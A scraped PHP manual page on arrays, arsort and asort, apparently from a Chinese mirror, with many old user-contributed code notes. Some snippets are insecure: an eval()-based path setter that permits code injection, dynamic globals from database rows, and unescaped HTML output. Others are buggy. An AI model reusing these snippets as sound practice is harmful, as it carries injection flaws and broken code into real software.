            $separator = '.';

        public function __construct (array $data = array()) {
            $this->data = $data;
        }

        public function set ($value, $path = null) {
            if (!isset($path)) {
                $this->data = $value;
            }

            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            $code = '';
            $pices = '[\''.$pathtoken.'\']';
            while ($pathtoken !== false) {
                if (($pathtoken = strtok($separator)) !== false) {
                    $code .= 'if (!isset($this->data'.$pices.')) $this->data'.$pices.' = array(); ';
                    $pices .= '[\''.$pathtoken.'\']';
                } else {
                    $code .= 'return $this->data'.$pices.' = $value;';
                }
            }

            return eval($code);
        }

        public function get ($path = '', $default = null) {
            $result = $this->data;
            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            while ($pathtoken !== false) {
                if (!isset($result[$pathtoken]) || is_string($result)) {
                    if (isset($default)) {
                        return $default;
                    }

                    throw new ArrayAsPathException ('Can\'t find "'.$pathtoken.'" in "'.$path.'"');
                }

                $result = $result[$pathtoken];
                $pathtoken = strtok($separator);
            }

            return $result ? $result : $default;
        }

        public function has ($path) {
            $result = $this->data;
            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            while ($pathtoken !== false) {
                if (!isset($result[$pathtoken]) || is_string($result)) {
                    return false;
                }

                $result = $result[$pathtoken];
                $pathtoken = strtok($separator);
            }

            return true;
        }

        public function setSepatator ($separator) {
            $this->separator = $separator;
        }

        public function getSeparator ($separator) {
            return $this->separator;
        }
    }

?>

Code:
<?php

    $params = new ArrayAsPath;
    $params->set(array(
        'foo' => array(
            'bar' => array(
                'item' => 'Value'
            )
        )
    ));

    try {
        $params->set('test', 'foo.bar.far.new');
        printf(
            'Array:<pre>%s</pre>
            foo.bar.item:<pre>%s</pre>
            foo.bar.far:<pre>%s</pre>
            foo.bar.far.new<pre>%s</pre>',
            var_export($params->get(), true),
            var_export($params->get('foo.bar.item'), true),
            var_export($params->get('foo.bar.far'), true),
            var_export($params->get('foo.bar.far.new'), true)
        );
    } catch (ArrayAsPathException $e) {
        echo 'Oops! It seems that something is wrong. '.$e->getMessage();
    }

?>

Will display:
Array:
array (
  'foo' =>
  array (
    'bar' =>
    array (
      'item' => 'Value',
      'far' =>
      array (
        'new' => 'test',
      ),
    ),
  ),
)

foo.bar.item:
'Value'

foo.bar.far:
array (
  'new' => 'test',
)

foo.bar.far.new:
'test'
eugene at ultimatecms dot co dot za 03-Mar-2010 06:29
This is a useful way to get foreign key variables from a specific sql table.
This function can be used to include all relevant data from all relating tables:

<?php
function get_string_between($string, $start, $end){
         $string = " ".$string;
         $ini = strpos($string,$start);
         if($ini == 0)
                return $tbl;
         $ini += strlen($start);
         $len = strpos($string,$end,$ini) - $ini;
         return substr($string,$ini,$len);
}

function get_foreign_keys($tbl) {
        $query = query_getrow("SHOW CREATE TABLE ".mysql_escape_string($tbl));

        $dat = explode('CONSTRAINT',$query[1]);
        foreach($dat as $d => $a) {
                if(strpos($a,"FOREIGN KEY"))
                $data['keys'][] = array($tbl,get_string_between($a,"` FOREIGN KEY (`","`) REFERENCES"));
        }

        foreach($dat as $d => $a) {
                if(strpos($a,"REFERENCE"))
                $data['references'][] = explode('` (`',get_string_between($a,"REFERENCES `","`) ON"));
        }
        return $data;
}

//Example code:

        $data = get_foreign_keys('task_table');
        echo '<pre>';
        print_r($data);
        echo '</pre>';

?>

// $query[1] outputs:

CREATE TABLE `task_table` (
  `task_id` int(64) NOT NULL auto_increment,
  `ticket_id` int(64) NOT NULL,
  `task_type` varchar(64) NOT NULL,
  `comment` text,
  `assigned_to` int(11) default NULL,
  `dependant` int(64) default NULL,
  `resolved` int(1) default NULL,
  PRIMARY KEY  (`task_id`),
  KEY `ticket_id` (`ticket_id`,`dependant`),
  KEY `assigned_to` (`assigned_to`),
  KEY `task_dependant` (`dependant`),
  CONSTRAINT `task_table_ibfk_1` FOREIGN KEY (`ticket_id`) REFERENCES `tickets_table` (`ticket_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `task_table_ibfk_2` FOREIGN KEY (`assigned_to`) REFERENCES `contact_table` (`contact_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `task_table_ibfk_3` FOREIGN KEY (`dependant`) REFERENCES `task_table` (`task_id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=latin1

// $data outputs:
Array (
    [keys] => Array
        (
            [0] => Array
                (
                    [0] => task_table
                    [1] => ticket_id
                )

            [1] => Array
                (
                    [0] => task_table
                    [1] => assigned_to
                )

            [2] => Array
                (
                    [0] => task_table
                    [1] => dependant
                )
        )

    [references] => Array
        (
            [0] => Array
                (
                    [0] => tickets_table
                    [1] => ticket_id
                )

            [1] => Array
                (
                    [0] => contact_table
                    [1] => contact_id
                )

            [2] => Array
                (
                    [0] => task_table
                    [1] => task_id
                )
        )
)
kamil at navikam dot pl 03-Jun-2009 03:42
Easy function to unarray an array :-)
It will make $array['something'] => $something.
Usefull for making code more clear.

example of use:
<?
function unarray($row) {
    foreach($row as $key => $value) {
        global $$key;
        $$key = $value;
    }
}

$sql = mysql_query("SELECT * FROM `pracownicy`");
while ($row = mysql_fetch_assoc($sql)) {
    unarray($row);
    echo $idpracownika.'<br>'; //instead of $row['idpracownika']
}
?>
Marcel G 27-Apr-2009 03:49
I encountered the following but didn't see it documented/reported anywhere so I'll just mentioned it here.

As written in the manual:
"When index is omitted, an integer index is automatically generated, starting at 0. If index is an integer, next generated index will be the biggest integer index + 1".

This generated index has always the largest integer used as a key so far. So adding $a[5] = 'foo'; after an $a[10] = 'bar'; will not force the next generated index to be 6 but to be 11 as 10 was the highest index encountered until here.

Anyway, the following can happen:
<?php
$max_int = 2147483647; // Max value for integer on a 32-bit system
$arr = array();

$arr[1] = 'foo'; // New generated index will be 2
$arr[ $max_int ] = 'bar'; // Caution: Next generated index will be -2147483648 due to the integer overflow!
$arr[0] = 'bar'; // The highest value should be 2147483648 but due to the i-overflow it is -2147483648 so current index 0 is larger. The new generated index therefore is 1!
$arr[]  = 'failure'; // Warning: Cannot add element to the array as the next element is already occupied.
?>
jonberglund at gmail dot com 07-Jul-2008 09:25
The following function (similar to one above) will render an array as a series of HTML select options (i.e. "<option>...</option>"). The problem with the one before is that there was no way to handle <optgroup>, so this function solves that issue.

function arrayToSelect($option, $selected = '', $optgroup = NULL)
{
    $returnStatement = '';

    if ($selected == '') {
        $returnStatement .= '<option value="" selected="selected">Select one...</option>';
    }

    if (isset($optgroup)) {
        foreach ($optgroup as $optgroupKey => $optgroupValue) {
            $returnStatement .= '<optgroup label="' . $optgroupValue . '">';

            foreach ($option[$optgroupKey] as $optionKey => $optionValue) {
                if ($optionKey == $selected) {
                    $returnStatement .= '<option selected="selected" value="' . $optionKey . '">' . $optionValue . '</option>';
                } else {
                    $returnStatement .= '<option value="' . $optionKey . '">' . $optionValue . '</option>';
                }
            }

            $returnStatement .= '</optgroup>';
        }
    } else {
        foreach ($option as $key => $value) {
            if ($key == $selected) {
                $returnStatement .= '<option selected="selected" value="' . $key . '">' . $value . '</option>';
            } else {
                $returnStatement .= '<option value="' . $key . '">' . $value . '</option>';
            }
        }
    }

    return $returnStatement;
}

 So, for example, I needed to render a list of states/provinces for various countries in a select field, and I wanted to use each country name as an <optgroup> label. So, with this function, if only a single array is passed to the function (i.e. "arrayToSelect($stateList)") then it will simply spit out a bunch of "<option>" elements. On the other hand, if two arrays are passed to it, the second array becomes a "key" for translating the first array.

Here's a further example:

$countryList = array(
    'CA'        => 'Canada',
    'US'        => 'United States');

$stateList['CA'] = array(
    'AB'        => 'Alberta',
    'BC'        => 'British Columbia',
    'AB'        => 'Alberta',
    'BC'        => 'British Columbia',
    'MB'        => 'Manitoba',
    'NB'        => 'New Brunswick',
    'NL'        => 'Newfoundland/Labrador',
    'NS'        => 'Nova Scotia',
    'NT'        => 'Northwest Territories',
    'NU'        => 'Nunavut',
    'ON'        => 'Ontario',
    'PE'        => 'Prince Edward Island',
    'QC'        => 'Quebec',
    'SK'        => 'Saskatchewan',
    'YT'        => 'Yukon');

$stateList['US'] = array(
    'AL'        => 'Alabama',
    'AK'        => 'Alaska',
    'AZ'        => 'Arizona',
    'AR'        => 'Arkansas',
    'CA'        => 'California',
    'CO'        => 'Colorado',
    'CT'        => 'Connecticut',
    'DE'        => 'Delaware',
    'DC'        => 'District of Columbia',
    'FL'        => 'Florida',
    'GA'        => 'Georgia',
    'HI'        => 'Hawaii',
    'ID'        => 'Idaho',
    'IL'        => 'Illinois',
    'IN'        => 'Indiana',
    'IA'        => 'Iowa',
    'KS'        => 'Kansas',
    'KY'        => 'Kentucky',
    'LA'        => 'Louisiana',
    'ME'        => 'Maine',
    'MD'        => 'Maryland',
    'MA'        => 'Massachusetts',
    'MI'        => 'Michigan',
    'MN'        => 'Minnesota',
    'MS'        => 'Mississippi',
    'MO'        => 'Missouri',
    'MT'        => 'Montana',
    'NE'        => 'Nebraska',
    'NV'        => 'Nevada',
    'NH'        => 'New Hampshire',
    'NJ'        => 'New Jersey',
    'NM'        => 'New Mexico',
    'NY'        => 'New York',
    'NC'        => 'North Carolina',
    'ND'        => 'North Dakota',
    'OH'        => 'Ohio',
    'OK'        => 'Oklahoma',
    'OR'        => 'Oregon',
    'PA'        => 'Pennsylvania',
    'RI'        => 'Rhode Island',
    'SC'        => 'South Carolina',
    'SD'        => 'South Dakota',
    'TN'        => 'Tennessee',
    'TX'        => 'Texas',
    'UT'        => 'Utah',
    'VT'        => 'Vermont',
    'VA'        => 'Virginia',
    'WA'        => 'Washington',
    'WV'        => 'West Virginia',
    'WI'        => 'Wisconsin',
    'WY'        => 'Wyoming');

...

<select name="state" id="state"><?php echo arrayToSelect($stateList,'',$countryList) ?></select>
<select name="country" id="country"><?php echo arrayToSelect($countryList,'US') ?></select>
sebasg37 at gmail dot com 12-Feb-2008 11:32
Recursive function similar to print_r for describing anidated arrays in html <ol>. Maybe it's useful for someone.

<?php
function describeAnidatedArray($array)
{
    $buf = '';
    foreach($array as $key => $value)
    {
        if(is_array($value))
        {
            $buf .= '<ol>' . describeAnidatedArray($value) . '</ol>';
        }
        else
            $buf .= "<li>$value</li>";
    }
    return $buf;
}

// Example:
$array = array("a", "b", "c", array("1", "2", array("A", "B")), array("3", "4"), "d");

echo describeAnidatedArray($array);
?>

output:

# a
# b
# c

   1. 1
   2. 2
         1. A
         2. B

   1. 3
   2. 4

# d
jon hohle 16-Nov-2007 05:12
Here are shorter versions of sam barrow's functions. From a PHP perspective these are O(1) (without getting into what's going on in the interpreter), instead of O(n).

<?php
function randomKey(array $array)
{
    return randomElement(array_keys($array));
}

function randomElement(array $array)
{
    if (count($array) === 0)
    {
        trigger_error('Array is empty.',  E_USER_WARNING);
        return null;
    }

    $rand = mt_rand(0, count($array) - 1);
    $array_keys = array_keys($array);

    return $array[$array_keys[$rand]];
}
?>
Mike Mackintosh 29-Oct-2007 09:38
If you need to add an object as an array key, for example an object from Simple XML Parser, you can use the following.

File.XML
<?xml version="1.0" encoding="UTF-8"?>
<Settings type="General">
  <Setting name="SettingName">This This This</Setting>
</Settings>

The script:
<?php
$raw = $xml =  new SimpleXMLElement('File.XML');
foreach($raw->Setting as $A => $B)
{
    // Set Array From XML
    $Setting[(string) $B['name']] = (string)  $B[0];
}
?>
By telling the key to read the object as a string, it will let you set it.

Hope this helps someone out!
webmaster at phpemailformprocessor dot com 06-Aug-2006 09:48
When using an array to create a list of keys and values for a select box generator which will consist of states I found using "NULL" as an index and ""(empty value) as a value to be useful:

<?php

$states = array(
    0    => 'Select a State',
    NULL => '',
    1    => 'AL - Alabama',
    2    => 'AK - Alaska',
    # And so on ...
);

$select = '<select name="state" id="state" size="1">'."\r\n";

foreach($states as $key => $value){
    $select .= "\t".'<option value="'.$key.'">' . $value.'</option>'."\r\n";
}

$select .= '</select>';

echo $select;

?>

 This will print out:

<select name="state" id="state" size="1">
    <option value="0">Select a State</option>
    <option value=""></option>
    <option value="1">AL - Alabama</option>
    <option value="2">AK - Alaska</option>
    # And so on ...

</select>

Now a user has a blank value to select if they later decide to not provide their address in the form. The first two options will return TRUE when checked against the php function - EMPTY() after the form is submitted when processing the form
jupiter at nospam dot com 02-Jun-2006 03:33
<?php

// changes any combination of multiarray elements and subarrays
// into a consistent 2nd level multiarray, tries to preserves keys
function changeMultiarrayStructure($multiarray, $asc = 1) {
  if ($asc == 1) {  // use first subarrays for new keys of arrays
    $multiarraykeys = array_reverse($multiarray, true);
  } else {  // use the last array keys
    $multiarraykeys = $multiarray;  // use last subarray keys
  }  // end array reordering
  $newarraykeys = array();  // establish array
  foreach ($multiarraykeys as $arrayvalue) {  // build new array keys
    if (is_array($arrayvalue)) {  // is subarray an array
      $newarraykeys = array_keys($arrayvalue) + $newarraykeys;
    }  // if count(prevsubarray)>count(currentarray), extras survive
  }  // end key building loop
  foreach ($multiarray as $newsubarraykey => $arrayvalue) {
    if (is_array($arrayvalue)) {  // multiarray element is an array
      $i = 0;  // start counter for subarray key
      foreach ($arrayvalue as $subarrayvalue) {  // access subarray
        $newmultiarray[$newarraykeys[$i]][$newsubarraykey] = $subarrayvalue;
        $i++;  // increase counter
      }  // end subarray loop
    } else {  // multiarray element is a value
      foreach ($newarraykeys as $newarraykey) {  // new subarray keys
        $newmultiarray[$newarraykey][$newsubarraykey] = $arrayvalue;
      }  // end loop for array variables
    }  // end conditional
  }  // end new multiarray building loop
  return $newmultiarray;
}

// will change
$old = array('a'=>1,'b'=>array('e'=>2,'f'=>3),'c'=>array('g'=>4),'d'=>5);
// to
$new = array('e'=>array('a'=>1,'b'=>2,'c'=>4,'d'=>5),
  'f'=>array('a'=>1,'b'=>3,'d'=>5));

// note: if $asc parameter isn't default, last subarray keys used

?>

The new key/value assignment pattern is clearer with bigger arrays.
I use this to manipulate input/output data from my db. Enjoy.
bill at carneyco dot com 02-Feb-2006 08:42
I wanted to be able to control the flow of data in a loop instead of just building tables with it or having to write 500 select statements for single line items. This is what I came up with thanks to the help of my PHP brother in FL. Hope someone else gets some use out it.
<?

//set array variable
$results = array();

//talk to the db
$query = "SELECT * FROM yourtable";
$result = mysql_query($query) or die(mysql_error());

//count the rows and fields
$totalRows = mysql_num_rows($result);
$totalFields = mysql_num_fields($result);

//start the loop
for ( $i = 0; $i < $totalRows; ++$i ) {

//make it 2 dim in case you change your order
  $results[$i] = mysql_fetch_array($result);

//call data at will controlling the loop with the array
echo $results[your_row_id]['your_field_name']; }

//print the entire array to see what lives where
print_r($results);  ?>
php 07-Jan-2006 03:30
This function converts chunks of a string in an array:

function array_str($str, $len) {
  $newstr = '';
  for($i = 0; $i < strlen($str); $i++) {
    $newstr .= substr($str, $i, $len);
  }
  return $newstr;
}

use it as:

$str = "abcdefghilmn";
echo "<table width=\"100%\">\n";
foreach(array_str($str, 4) as $chunk) {
  echo "<tr><td>".$chunk."</td></tr>\n";
}
echo "</table>";

this prints:

------
abcd
------
efgh
------
ilmn
------

It don't use regular expressions. Please add this function to php :)
matthiasDELETETHIS at ansorgs dot de 31-May-2005 02:52
How to use array() to create an array of references rather than of copies? (Especially needed when dealing with objects.) I played around somewhat and found a solution: place & before the parameters of array() that shall be references. My PHP version is 4.3.10.

Demonstration:

<?php
$ref1 = 'unchanged';
$ref2 = & $ref1;

$array_of_copies = array($ref1, $ref2);
print_r($array_of_copies); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_copies[0] = 'changed'; // $ref1 = 'changed'; is not equivalent, as it was _copied_ to the array
print_r($array_of_copies); // prints: Array ( [0] => changed [1] => unchanged )

$array_of_refs = array(& $ref1, & $ref2); // the difference: place & before arguments
print_r($array_of_refs); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_refs[0] = 'changed'; // $ref1 = 'changed'; is equivalent as $array_of_refs[0] references $ref1
print_r($array_of_refs, true); // prints: Array ( [0] => changed [1] => changed )
?>
aissatya at yahoo dot com 16-May-2005 01:48
<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>
<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>
<?php
$fruits = array (
   "fruits"  => array("a" => "orange", "b" => "banana", "c" => "apple"),
   "numbers" => array(1, 2, 3, 4, 5, 6),
   "holes"  => array("first", 5 => "second", "third")
);
?>
brian at blueeye dot us 21-Apr-2005 05:34
If you need, for some reason, to create variable Multi-Dimensional Arrays, here's a quick function that will allow you to have any number of sub elements without knowing how many elements there will be ahead of time. Note that this will overwrite an existing array value of the same path.

<?php
// set_element(array path, mixed value)
function set_element(&$path, $data) {
    return ($key = array_pop($path)) ? set_element($path, array($key=>$data)) : $data;
}
?>

For example:

<?php
echo "<pre>";
$path = array('base', 'category', 'subcategory', 'item');
$array = set_element($path, 'item_value');
print_r($array);
echo "</pre>";
?>

Will display:
Array
(
    [base] => Array
        (
            [category] => Array
                (
                    [subcategory] => Array
                        (
                            [item] => item_value
                        )
                )
        )
)
mortoray at ecircle-ag dot com 18-Feb-2005 05:35
Be careful if you need to use mixed types with a key of 0 in an array, as several distinct forms end up being the same key:

$a = array();
$a[null] = 1;
$a[0] = 2;
$a['0'] = 3;
$a["0"] = 4;
$a[false] = 5;
$a[0.0] = 6;
$a[''] = 7;
$a[] = 8;

print_r( $a );

This will print out only 3 values: 6, 7, 8.
rdude at fuzzelish dot com 17-Feb-2005 01:35
If you are creating an array with a large number of static items, you will find serious performance differences between using the array() function and the $array[] construct. For example:
<?
 // Slower method
 $my_array = array(1, 2, 3, ? 500);

 // Faster method
 $my_array[] = 1;
 $my_array[] = 2;
 $my_array[] = 3;
 ?
 $my_array[] = 500;
?>
phpm at nreynolds dot me dot uk 11-Jan-2005 08:24
This helper function creates a multi-dimensional array. For example, creating a three dimensional array measuring 10x20x30: <?php $my_array = multi_dim(10, 20, 30); ?>

<?php

function multi_dim()
{
    $fill_value = null;

    for ($arg_index = func_num_args() - 1; $arg_index >= 0; $arg_index--) {
        $dim_size = func_get_arg($arg_index);
        $fill_value = array_fill(0, $dim_size, $fill_value);
    }

    return $fill_value;
}

?>
baZz 16-Oct-2003 03:27
Chek this out!!!. Suppose that you want to create an array like the following:
<?php
  $arr1 = (
    0 => array ("customer"=>"Client 1","Item a"),
    1 => array ("customer"=>"Client 2","Item b")
  );
?>
Seems prety easy, but what if you want to generate it dinamically woops!!!.  Imagine that you have a file with thousands of lines and each line is a purchase order from diferent clients:
<?php
/*function to add elements*/
function addArray(&$array, $id, $var)
{
    $tempArray = array( $var => $id);
    $array = array_merge ($array, $tempArray);
}
/*The same as above but the element is an array*/
function addArrayArr(&$array, $var, &$array1)
{
    $tempArray = array($var => $array1);
    $array = array_merge ($array, $tempArray);
}
/*labels of our array or heders of the file*/
$keyarr = array("customer","item");
/*info that may you read from a file line 1 and 2*/
$valarr0 = array("Client 1","Item a");
$valarr1 = array("Client 2","Item b");

$numofrows = 2;/*In our case is just two lines*/
$tmpArray = array();
for($i = 0; $i < $numofrows; $i++){
  $tmp = "valarr$i";
  $tmpvar = ${$tmp};/*Using var of vars tricky tricky*/
  foreach( $keyarr as $key=>$value){
    addArray($tmparr,$tmpvar[$key],$value);
  }
  addArrayArr($finalarr,$i,$tmparr);
} /*voila all it's perfectly ordered on finalarr*/

/*Here we just print the info but you can insert it into a database*/
echo "Customer: ".$finalarr[0]["customer"]."<br>";
echo "Item: ".$finalarr[0]["item"]."<br>";
echo "Customer: ".$finalarr[1]["customer"]."<br>";
echo "Item: ".$finalarr[1]["item"]."<br>";
?>

The lines above should print something like:
Customer: Client 1
Item: Item a
Customer: Client 2
Item: Item b
I hope someone find this useful.
TCross1 at hotmail dot com 03-Sep-2003 12:38
here is the sort of "textbook" way to output the contents of an array which avoids using foreach() and allows you to index & iterate through the array as you see fit:

<?php

$arrayName = array("apples", "bananas", "oranges", "pears");
$arrayLength = count($arrayName);

for ($i = 0; $i < $arrayLength; $i++){
    echo "arrayName at[" . $i . "] is: [" .$arrayName[$i] . "]<br>\n";
}

?>

enjoy!

-tim
10-May-2003 03:53
Similarly to a comment by stlawson at sbcglobal dot net on this page:
http://www.php.net/basic-syntax.instruction-separation

It is usually advisable to define your arrays like this:
$array = array(
     'foo',
     'bar',
);

Note the comma after the last element - this is perfectly legal. Moreover,
it's best to add that last comma so that when you add new elements to the
array, you don't have to worry about adding a comma after what used to be
the last element.

<?php
$array = array(
     'foo',
     'bar',
     'baz',
);
?>
marcel at labor-club dot de 24-Feb-2003 07:58
i tried to find a way to create BIG multidimensional-arrays. but the notes below only show the usage of it, or the creation of small arrays like $matrix=array('birne', 'apfel', 'beere');

for an online game, i use a big array (50x80) elements.
it's no fun, to write the declaration of it in the ordinary way.

here's my solution, to create an 2d-array, filled for example with raising numbers.

<?php
$matrix=array();
$sx=30;
$sy=40;
$i=1;
for ($y=0; $y<$sy; $y++)
{
    array_push($matrix,array());
    for ($x=0; $x<$sx; $x++)
    {
        array_push($matrix[$y],array());
        $matrix[$x][$y]=$i;
        $i++;
    }
}
?>

if there is a better way, plz send an email. i always want to learn more php!
MadLogic at Paradise dot net dot nz 31-Oct-2002 02:39
Heres a simple yet intelligent way of setting an array, grabbing the values from the array using a loop.

<?php
$ary = array("1"=>'One','Two',"3"=>'Three');
$a = '0'; $b = count($ary);
while ($a <= $b) {
  $pr = $ary[$a];
  print "$pr<br>";
  $a++;
}
?>
mads at __nospam__westermann dot dk 23-Oct-2002 07:39
In PHP 4.2.3 (and maybe earlier versions) arrays with numeric indexes may be initialized to start at a specific index and then automatically increment the index. This will save you having to write the index in front of every element for arrays that are not zero-based.

The code:

<?php
                  $a = array
        (
            21    => 1,
            2,
            3,
        );
    print '<pre>';
    print_r($a);
    print '</pre>';
?>

will print:

<?php
Array
(
    [21] => 1
    [22] => 2
    [23] => 3
)
?>
John 18-Jul-2002 11:48
Be careful not to create an array on top of an already existing variable:

<?php
$name = "John";
$name['last'] = "Doe";
?>

$name becomes "Dohn" since 'last' evaluates to the 0th position of $name.
Same is true for multi-arrays.
jay at ezlasvegas dot net 20-Apr-2002 04:21
If you want to create an array of a set size and you have PHP4, use
array_pad(array(), $SIZE, $INITIAL_VALUE); This can be handy if you wish
to initialize a bunch of variables at once:

list($Var1, $Var2, etc) = array_pad(array(), $NUMBER_OF_VARS,
$INITIAL_VALUE);

Jay Walker
Las Vegas Hotel Associate
http://www.ezlasvegas.net
jjm152 at hotmail dot com 10-Mar-2002 06:22
The easiest way to "list" the values of either a normal 1 list array or a multi dimensional array is to use a foreach() clause.

Example for 1 dim array:

<?php
   $arr = array( 1, 2, 3, 4, 5 );
   foreach ( $arr as $val ) {
       echo "Value: $Val\n";
      }
?>

For multi dim array:

<?php
     $arr = array( 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four, 5 => 'five');
      foreach ( $arr as $key => $value ) {
       echo "Key: $key, Value: $value\n";
      }
?>

This is quite possibly the easiest way i've found to iterate through an array.
tobiasquinteiro at ig dot com dot br 29-Jan-2002 12:25
<?
        // This is a small script that shows how to use an multiple array
        for($x = 0;$x < 10;$x++){
                for($y = 0;$y < 10;$y++){
                        $mat[$x][$y] = "$x,$y";
                }
        }

        for($x = 0;$x < count($mat);$x++){
                for($y = 0;$y < count($mat[$x]);$y++){
                        echo    "mat[$x][$y]: " .
                                $mat[$x][$y] . " ";
                }
                echo "\n";
        }
?>
joshua dot e at usa dot net 24-May-2001 11:12
Here's a cool tip for working with associative arrays-
Here's what I was trying to accomplish:

I wanted to hit a DB, and load the results into an associative array, since I only had key/value pairs returned. I loaded them into an array, because I wanted to manipulate the data further after the DB select, but I didn't want to hit the DB more than necessary.

Here's how I did it:

<?php
//assume db connectivity
//load it all into the associative array
$sql = "SELECT key,value FROM table";
$result = mysql_query($sql);
while($row = mysql_fetch_row($result)) {
$myArray[$row[0]] = $row[1];
}
//now we expand it
while(list($key,$value) = each($myArray)) {
echo "$key : $value";
}
?>

I found this to be super efficient, and extremely cool.
slicky at newshelix dot com 20-Mar-2001 01:57
Notice that you can also add arrays to other arrays with the $array[] "operator" while the dimension doesn't matter.

Here's an example:
$x[w][x] = $y[y][z];
this will give you a 4dimensional assosiative array.
$x[][] = $y[][];
this will give you a 4dimensional non assosiative array.

So let me come to the point. This get interessting for shortening things up. For instance:

<?php
        foreach ($lines as $line){
            if(!trim($line)) continue;
            $tds[] = explode("$delimiter",$line);
        }
?>
rubein at earthlink dot net 26-Sep-2000 11:07
Multidimensional arrays are actually single-dimensional arrays nested inside other single-dimensional arrays.

$array[0] refers to element 0 of $array
$array[0][2] refers to element 2 of element 0 of $array.

If an array was initialized like this:

$array[0] = "foo";
$array[1][0] = "bar";
$array[1][1] = "baz";
$array[1][2] = "bam";

then:
is_array($array) = TRUE
is_array($array[0]) = FALSE
is_array($array[1]) = TRUE
count($array) = 2 (elements 0 and 1)
count($array[1] = 3 (elements 0 thru 2)

This can be really useful if you want to return a list of arrays that were stored in a file or something:

$array[0] = unserialize($somedata);
$array[1] = unserialize($someotherdata);

if $somedata["foo"] = 42 before it was serialized previously, you'd now have this:
$array[0]["foo"] = 42


对数组进行逆向排序并保持索引关系

  • ? array
  • asort ?
  • PHP Manual
  • 数组 函数
  • 对数组进行逆向排序并保持索引关系

arsort

(PHP 4, PHP 5, PHP 7)

arsort — 对数组进行逆向排序并保持索引关系

说明

arsort ( array &$array [, int $sort_flags = SORT_REGULAR ] ) : bool

本函数对数组进行排序，数组的索引保持和单元的关联。

主要用于对那些单元顺序很重要的结合数组进行排序。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数

array

输入的数组。

sort_flags

可以用可选的参数 sort_flags 改变排序的行为，详情见 sort()。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 arsort() 例子

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
arsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

以上例程会输出：

a = orange
d = lemon
b = banana
c = apple

fruits 被按照字母顺序逆向排序，并且单元的索引关系不变。

参见

  • asort() - 对数组进行排序并保持索引关系
  • 数组排序函数对比

User Contributed Notes

stephenakins at gmail dot com 09-Jun-2017 01:25
I have two servers; one running 5.6 and another that is running 7.  Using this function on the two servers gets me different results when all of the values are the same.

<?php

$list = json_decode('{"706":2,"703":2,"702":2,"696":2,"658":2}', true);

print_r($list);

arsort($list);
echo "<br>";

print_r($list);

?>

PHP 5.6 results:
Array ( [706] => 2 [703] => 2 [702] => 2 [696] => 2 [658] => 2 )
Array ( [658] => 2 [696] => 2 [702] => 2 [703] => 2 [706] => 2 )

PHP 7 results:
Array ( [706] => 2 [703] => 2 [702] => 2 [696] => 2 [658] => 2 )
Array ( [706] => 2 [703] => 2 [702] => 2 [696] => 2 [658] => 2 )
sebas2day 07-May-2012 02:52
If you are dealing with a multidimensional array you want to sort, then this might be helpfull:

<?php
function array_sort($arr){
    if(empty($arr)) return $arr;
    foreach($arr as $k => $a){
        if(!is_array($a)){
            arsort($arr); // could be any kind of sort
            return $arr;
        }else{
            $arr[$k] = array_sort($a);
        }
    }
    return $arr;
}
?>
FatBat 13-Oct-2011 01:40
Needed to get the index of the max/highest value in an assoc array.
max() only returned the value, no index, so I did this instead.

<?php
reset($x);   // optional.
arsort($x);
$key_of_max = key($x);   // returns the index.
?>
jordancdarwin at googlemail dot com 15-Dec-2007 02:21
A lot of people seem to trip up on this and ask me questions as to debugging. Bear in mind that this returns boolean, and does not return an array of affected items.

$array = array("One"=>1, "Three" => 3,"Two" =>2);
print_r(asort($array));

If successful, will return 1, and error if there is a string used. Useful to note so then people stop asking me :D
rodders_plonker at yahoo dot com 21-Aug-2000 06:43
I was having trouble with the arsort() function on an older version of PHP which was returning an error along the lines of 'wrong perameter count for function arsort' when I tried to use a flag for numeric sorting (2/SORT_NUMERIC).
I figured, as I only wanted to sort integers, I could pad numbers from the left to a specific length with 0's (using the lpad function provided by improv@magma.ca in the notes at http://www.php.net/manual/ref.strings.php).
A string sort then correctly sorts numerically (i.e. {30,2,10,21} becomes {030,021,010,002} not {30,21,2,10}) when echoing the number an (int)$string_name hides the leading 0's.

Made my day :).

Rodders.
morgan at anomalyinc dot com 24-Nov-1999 07:30
If you need to sort a multi-demension array, for example, an array such as

$TeamInfo[$TeamID]["WinRecord"]
$TeamInfo[$TeamID]["LossRecord"]
$TeamInfo[$TeamID]["TieRecord"]
$TeamInfo[$TeamID]["GoalDiff"]
$TeamInfo[$TeamID]["TeamPoints"]

and you have say, 100 teams here, and want to sort by "TeamPoints":

first, create your multi-dimensional array. Now, create another, single dimension array populated with the scores from the first array, and with indexes of corresponding team_id... ie
$foo[25] = 14
$foo[47] = 42
or whatever.
Now, asort or arsort the second array.
Since the array is now sorted by score or wins/losses or whatever you put in it, the indices are all hoopajooped.
If you just walk through the array, grabbing the index of each entry, (look at the asort example. that for loop does just that) then the index you get will point right back to one of the values of the multi-dimensional array.
Not sure if that's clear, but mail me if it isn't...
-mo


对数组进行排序并保持索引关系

  • ? arsort
  • compact ?
  • PHP Manual
  • 数组 函数
  • 对数组进行排序并保持索引关系

asort

(PHP 4, PHP 5, PHP 7)

asort — 对数组进行排序并保持索引关系

说明

asort ( array &$array [, int $sort_flags = SORT_REGULAR ] ) : bool

本函数对数组进行排序，数组的索引保持和单元的关联。主要用于对那些单元顺序很重要的结合数组进行排序。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数

array

输入的数组。

sort_flags

可以用可选的参数 sort_flags 改变排序的行为，详情见 sort()。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 asort() 例子

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
asort($fruits);
foreach ($fruits as $key => $val) {
